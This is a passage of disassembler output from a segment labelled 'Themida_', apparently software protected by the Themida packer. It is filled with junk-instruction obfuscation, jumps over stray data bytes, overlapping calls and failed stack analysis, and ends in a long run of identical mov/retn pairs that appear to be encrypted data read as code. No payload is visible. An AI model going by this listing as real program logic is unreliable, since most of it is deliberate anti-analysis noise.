loc_5D18D2:				; CODE XREF: sub_5D1887+3Ep
		mov	eax, ds:81661404h
sub_5D1887	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0D9h
; ---------------------------------------------------------------------------
		dec	ebx
		mov	al, ds:0D6BF0F5Fh
		jb	loc_5D18E9
		mov	ecx, 2194FBC4h


loc_5D18E9:				; CODE XREF: Themida_:005D18DEj
		jno	loc_5D1906
		jmp	loc_5D1906
; ---------------------------------------------------------------------------
		dd 0BD22589Eh, 1AAA4B25h, 23DA2F8Ah, 575DE391h
		db 76h,	92h
; ---------------------------------------------------------------------------


loc_5D1906:				; CODE XREF: Themida_:loc_5D18E9j
					; Themida_:005D18EFj
		jmp	loc_5D1916
; ---------------------------------------------------------------------------
		db 0F2h
		dd 0CE1E094Bh, 598D5399h
; ---------------------------------------------------------------------------
		aas
		std


loc_5D1916:				; CODE XREF: Themida_:loc_5D1906j
		jmp	loc_5D1925
; ---------------------------------------------------------------------------
		db 22h
		dd 911B7F18h, 0E899F52Bh
; ---------------------------------------------------------------------------
		lodsb


loc_5D1925:				; CODE XREF: Themida_:loc_5D1916j
		and	eax, 789316ABh
		movzx	ecx, cx
		mov	di, 8D0Dh
		mov	edi, 419D6B91h
		mov	eax, 7A019704h
		mov	bx, 0A76h
		pusha
		jge	loc_5D194A
		movzx	ecx, cx


loc_5D194A:				; CODE XREF: Themida_:005D1941j
		movsx	eax, di
		popa
		add	bx, 740h
		pusha
		movsx	edi, dx
		and	ebx, 76B3777Eh
		popa
		mov	ax, cx
		mov	esi, 31882459h
		add	cx, 3EE9h
		jmp	loc_5D1975
; ---------------------------------------------------------------------------
		dd 7865C956h
		db 0DFh
; ---------------------------------------------------------------------------


loc_5D1975:				; CODE XREF: Themida_:005D196Bj
		mov	cx, bx
		movzx	edx, bx
		cld
		movsx	ecx, ax
		add	al, 5Eh
		movsx	eax, bx
		cld
		pusha
		or	eax, 39C1CE1Fh
		and	bh, 0D5h
		popa
		stc
		sbb	ebx, 126C5E9Eh
		push	ecx
		movsx	ebx, si
		pop	ebx
		cld
		jmp	loc_5D19AB
; ---------------------------------------------------------------------------
		db 0ABh
		dd 8E9666EDh
		db 89h,	0D5h, 0F3h
; ---------------------------------------------------------------------------


loc_5D19AB:				; CODE XREF: Themida_:005D199Ej
		mov	ax, 15F4h
		and	di, 0C19Ch
		mov	ebx, edx
		mov	eax, 7E04E76Eh
		mov	ax, 0BEB9h
		mov	edi, 284CB0Bh
		mov	esi, 7AB48CC1h
		call	near ptr loc_5D19DC+5
		sub	eax, 0D09C22F1h
		jle	short near ptr loc_5D19EE+1
		push	es
		mov	ds:307B3D7Ah, al
		pop	ecx


loc_5D19DC:				; CODE XREF: Themida_:005D19C9p
		test	[esi-16102A23h], bh
		or	eax, 3E000000h
		cli
		nop
		movsd
		adc	ch, dh
		lock out dx, eax


loc_5D19EE:				; CODE XREF: Themida_:005D19D3j
		imul	byte ptr [eax]
		pop	ecx
		mov	ebx, ds
		pop	edx
		sub	eax, 1999EA37h
		and	dx, 0Ah
		mov	bx, 400h
		jmp	loc_5D1A1A
; ---------------------------------------------------------------------------
		dd 0A970BA46h, 0F63721DBh, 3A7CC040h, 1C8A2970h
		db 89h,	1Bh
; ---------------------------------------------------------------------------


loc_5D1A1A:				; CODE XREF: Themida_:005D1A03j
		sbb	dl, 0A9h
		add	al, 89h
		js	loc_5D1A30
		pusha
		push	edi
		pop	ecx
		or	ecx, 40BA30FEh
		popa


loc_5D1A30:				; CODE XREF: Themida_:005D1A20j
		mov	edi, 219D21Ah
		cmc
		push	eax
		js	loc_5D1A3E
		cld


loc_5D1A3E:				; CODE XREF: Themida_:005D1A37j
		pop	esi
		call	near ptr loc_5D1A55+3
		add	al, [edi-45h]
		sbb	ebp, ds:60904F8Ch
		leave
		lahf
		neg	byte ptr [eax]
		rep pushf
		mov	bl, 8Bh


loc_5D1A55:				; CODE XREF: Themida_:005D1A3Fp
		lock add al, 58h
		sbb	esi, 4FD351A6h
		mov	bh, 66h
		mov	dx, 3BFFh
		clc
		movzx	esi, si
		jmp	loc_5D1A7A
; ---------------------------------------------------------------------------
		xchg	eax, edi
		dec	ecx
		fild	dword ptr [ecx]
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0E99386EFh
		db 0CDh, 0A0h
; ---------------------------------------------------------------------------


loc_5D1A7A:				; CODE XREF: Themida_:005D1A69j
		pusha
		mov	ebx, 0A66F8F0h
		pusha
		jmp	loc_5D1A9A
; ---------------------------------------------------------------------------
		dw 0DD4Fh
		dd 0EC4410FCh, 0E5BD6273h, 35181885h, 567D1CBEh
		db 6Ch,	0DBh
; ---------------------------------------------------------------------------


loc_5D1A9A:				; CODE XREF: Themida_:005D1A81j
		jbe	$+6
		popa
		popa
		adc	cl, 4
		adc	edi, 348EB4CEh
		mov	edi, 202E0h
		mov	ax, 0B205h
		sbb	ch, 45h
		mov	al, 36h
		mov	bx, 0DB13h
		adc	ax, 3257h
		pusha
		jmp	loc_5D1ADC
; ---------------------------------------------------------------------------
		dd 818CFF9Ch, 6434DED8h, 80E9FC24h, 0A0C692E4h,	90395096h
; ---------------------------------------------------------------------------


loc_5D1ADC:				; CODE XREF: Themida_:005D1AC3j
		adc	dx, 8EC8h
		popa
		and	esi, 53122EE5h
		push	edi
		pusha
		mov	ebx, esi
		jmp	loc_5D1AF7
; ---------------------------------------------------------------------------
		db 0F0h, 0A8h, 0D5h
		db 0Ch,	0C5h, 0A2h
; ---------------------------------------------------------------------------


loc_5D1AF7:				; CODE XREF: Themida_:005D1AECj
		popa
		pop	ecx
		and	si, 8F53h
		jmp	loc_5D1B08
; ---------------------------------------------------------------------------
		mov	edx, 9C4440DAh


loc_5D1B08:				; CODE XREF: Themida_:005D1AFEj
		xor	dx, 9092h
		sub	dh, 26h
		jmp	loc_5D1B26
; ---------------------------------------------------------------------------
		db 34h,	22h, 0C1h
		dd 579FF0BEh, 967E3408h, 8DA3E816h
		db 0A9h, 1Eh
; ---------------------------------------------------------------------------


loc_5D1B26:				; CODE XREF: Themida_:005D1B10j
		jz	loc_5D1B2E
		mov	al, 0D5h


loc_5D1B2E:				; CODE XREF: Themida_:loc_5D1B26j
		adc	eax, 5EC59871h
		cmc
		or	ebx, 5D471DCCh
		cld
		mov	dx, si
		mov	edi, eax
		call	near ptr loc_5D1B56+1
		sub	eax, 81810707h
		jnp	short near ptr loc_5D1BAD+4
		std
		loopne	loc_5D1B9F
		movsb
		call	near ptr 0C40B347h


loc_5D1B56:				; CODE XREF: Themida_:005D1B41p
		jnb	short loc_5D1BA8
		mov	dx, 0ED59h
		pop	eax
		pop	edi
		mov	edi, ecx
		and	edx, 4298A345h
		clc
		push	esi
		push	eax
		mov	ecx, 1F1C4A4Dh
		pop	edi
		pop	eax
		movzx	edx, ax
		adc	bl, 37h
		jmp	loc_5D1B88
; ---------------------------------------------------------------------------
		db 0FBh
		dd 0D4F7D963h, 328A9F2Dh, 0A30EAEC1h
; ---------------------------------------------------------------------------


loc_5D1B88:				; CODE XREF: Themida_:005D1B76j
		xor	edi, 5E326B75h
		jmp	loc_5D1BA6
; ---------------------------------------------------------------------------
		pusha
		cmpsd
		inc	edx
		db	36h
		scas	dword ptr es:[edi]
		xchg	esp, [edi+3Bh]
		retf	0DF1Dh
; ---------------------------------------------------------------------------
		push	ebx


loc_5D1B9F:				; CODE XREF: Themida_:005D1B4Ej
		mov	ebx, 0C8A33507h
		pop	edx
		inc	edi


loc_5D1BA6:				; CODE XREF: Themida_:005D1B8Ej
		mov	bl, 6Ch


loc_5D1BA8:				; CODE XREF: Themida_:loc_5D1B56j
		and	ax, 8A77h


loc_5D1BAD:				; CODE XREF: Themida_:005D1B4Bj
		call	sub_5D1BC4
		pop	ebp
		shl	dword ptr [edi+308C602Dh], 0C0h
		or	al, 0C6h
		mov	al, [ebx]
		xor	eax, 8BB0FBB7h
		aas

; =============== S U B	R O U T	I N E =======================================



sub_5D1BC4	proc near		; CODE XREF: Themida_:loc_5D1BADp

; FUNCTION CHUNK AT 005D1CB0 SIZE 0000002D BYTES

		add	dx, 75F4h
		pop	esi
		cld
		mov	ah, ch
		mov	ch, 46h
		jmp	loc_5D1BE3
; ---------------------------------------------------------------------------
		dd 6FC7A872h, 6DBD9A76h, 811DAC47h
		db 0FFh, 0DBh, 0AFh
; ---------------------------------------------------------------------------


loc_5D1BE3:				; CODE XREF: sub_5D1BC4+Bj
		mov	dx, 0D6B4h
		pusha
		mov	ebx, 482C98C2h
		mov	si, ax
		popa
		adc	esi, 10902BBCh
		mov	bl, 2Bh
		jmp	loc_5D1C0F
; ---------------------------------------------------------------------------
		dw 0A5E6h
		dd 51BEB0A8h, 0D48F01EFh, 0FE1076E5h
		db 28h,	11h, 88h
; ---------------------------------------------------------------------------


loc_5D1C0F:				; CODE XREF: sub_5D1BC4+35j
		jmp	loc_5D1C24
; ---------------------------------------------------------------------------
		mov	edi, 5A7C60BDh
		retn
; ---------------------------------------------------------------------------
		dw 0E613h
		dd 9074F952h, 0D2635E5Fh
; ---------------------------------------------------------------------------


loc_5D1C24:				; CODE XREF: sub_5D1BC4:loc_5D1C0Fj
		stc
		mov	esi, edi
		mov	esi, edi
		mov	bx, 0FA6Ah
		movsx	edi, di
		sub	cx, 8A17h
		mov	si, bx
		mov	eax, ecx
		jmp	loc_5D1C45
; ---------------------------------------------------------------------------
		db 5
		dd 0E289F59Bh
		db 0BAh
; ---------------------------------------------------------------------------


loc_5D1C45:				; CODE XREF: sub_5D1BC4+76j
		call	sub_5D1C5E
		jnz	short loc_5D1CB0
		inc	edi
		cmp	eax, 49196666h
		add	eax, 95583743h
		adc	edx, [eax]
		xor	eax, 0FB609246h
sub_5D1BC4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D1C5E	proc near		; CODE XREF: sub_5D1BC4:loc_5D1C45p
		or	cx, 518Ah
		pop	edx
		mov	eax, ecx
		mov	edx, 157E3634h
		jz	loc_5D1C76
		and	bx, 668Bh


loc_5D1C76:				; CODE XREF: sub_5D1C5E+Dj
		pusha
		mov	di, 6000h
		pusha
		push	edi
		pop	esi
		cld
		popa
		popa
		jz	near ptr loc_5D1CA4+3
		jp	near ptr loc_5D1CA4+3
		call	near ptr loc_5D1CA4+2
		inc	esi
		add	al, 33h
		sbb	eax, 0DCE9900Eh
		push	15749C26h
		mov	byte ptr [ecx],	34h
		and	edx, ebx


loc_5D1CA4:				; CODE XREF: sub_5D1C5E+2Fp
					; sub_5D1C5E+23j ...
		and	eax, 800F5EA2h
sub_5D1C5E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 0CB8B6600h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D1BC4


loc_5D1CB0:				; CODE XREF: sub_5D1BC4+86j
		movzx	ecx, dx
		jns	loc_5D1CBF
		xor	edi, 4F84A650h


loc_5D1CBF:				; CODE XREF: sub_5D1BC4+EFj
		push	ecx
		sbb	ch, 0D6h
		pop	edx
		mov	edx, esi
		jl	loc_5D1CD0
		mov	si, 9176h


loc_5D1CD0:				; CODE XREF: sub_5D1BC4+102j
		pusha
		call	sub_5D1CDD
		sub	esp, eax
		mov	eax, ds:0E11D4C94h
; END OF FUNCTION CHUNK	FOR sub_5D1BC4

; =============== S U B	R O U T	I N E =======================================



sub_5D1CDD	proc near		; CODE XREF: sub_5D1BC4+10Dp
		mov	ah, 0ACh
		pop	edi
		jmp	loc_5D1CF1
; ---------------------------------------------------------------------------
		fld	qword ptr [ebx+ebx*8+72h]
		scasd
		cmp	dword ptr [ecx-57D5293Eh], 0FFFFFFEFh


loc_5D1CF1:				; CODE XREF: sub_5D1CDD+3j
		popa
		sub	bh, 2Dh
		jb	loc_5D1D01
		add	edx, 760FF909h


loc_5D1D01:				; CODE XREF: sub_5D1CDD+18j
		mov	esi, eax
		jge	loc_5D1D0B
		mov	dl, cl


loc_5D1D0B:				; CODE XREF: sub_5D1CDD+26j
		mov	si, bx
		and	ah, 0BFh
		jmp	loc_5D1D2A
; ---------------------------------------------------------------------------
		dw 0ADEAh
		dd 47429E17h, 6C3EF27Bh, 0AC983703h, 0BC35E67Ch
		db 0A1h, 9Ch
; ---------------------------------------------------------------------------


loc_5D1D2A:				; CODE XREF: sub_5D1CDD+34j
		mov	ax, si
		mov	di, bx
		xor	eax, 7A018E0Eh
		call	sub_5D1D43
		iret
sub_5D1CDD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 69592F1Fh
		db 49h,	2 dup(35h)

; =============== S U B	R O U T	I N E =======================================



sub_5D1D43	proc near		; CODE XREF: sub_5D1CDD+59p
		mov	dl, al
		pop	ebx
		adc	si, 3E87h
		mov	ecx, eax
		movsx	ecx, si
		push	esi
		movzx	esi, di
		pop	edi
		ja	loc_5D1D61
		add	ebx, 4F4A9D94h


loc_5D1D61:				; CODE XREF: sub_5D1D43+12j
		jb	loc_5D1D79
		jmp	loc_5D1D79
; ---------------------------------------------------------------------------
		dd 9241C16Fh, 518C821h,	0EC7D42ECh
		db 1Ah
; ---------------------------------------------------------------------------


loc_5D1D79:				; CODE XREF: sub_5D1D43:loc_5D1D61j
					; sub_5D1D43+24j
		mov	bx, ax
		pusha
		mov	cl, 0DDh
		popa
		call	near ptr loc_5D1D94+2
		in	eax, dx
		adc	[ebx+18h], ebx
		push	ds
		pminub	mm0, qword ptr [ebx-6B4622C6h]
		add	al, 0D9h
		push	edx


loc_5D1D94:				; CODE XREF: sub_5D1D43+3Dp
		add	cl, [ecx+ebp*8+0Fh]
sub_5D1D43	endp ; sp-analysis failed

		db	64h
		retn	0A593h
; ---------------------------------------------------------------------------
		db 73h
		dd 0DAEC3D45h, 2600C402h, 0F596624h, 282h, 8BC78B00h, 8E8FAh
		dd 0C43C0000h, 6C2C298Ah, 5AF84669h, 0E061E181h, 0BB662237h
		dd 0BE66294Dh, 5E80BB2h, 0EB000000h, 0C0617301h, 5EF3EC80h
		dd 8BDAB70Fh, 0D8BF0FD9h, 92CB8166h, 5E8FBh, 0AA540000h
		dd 52F9E3CDh, 0DE9h, 76914C00h,	41504E64h, 0CA01C13h, 5B5A0826h
		dd 623FF2C2h, 7	dup(623FF2C1h),	22E02E5Bh, 2FCh	dup(22E02E5Ch)
		dd 7E1A2E5Ch, 4Dh dup(7E1A0AD6h), 4F9151D6h, 24Ch dup(4F91500Eh)
		dd 34CA900Eh, 64h dup(34CA91C4h), 0A1C2BE0Dh, 0Eh dup(0A1C2BE0Eh)
		db 0Eh,	0BEh
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
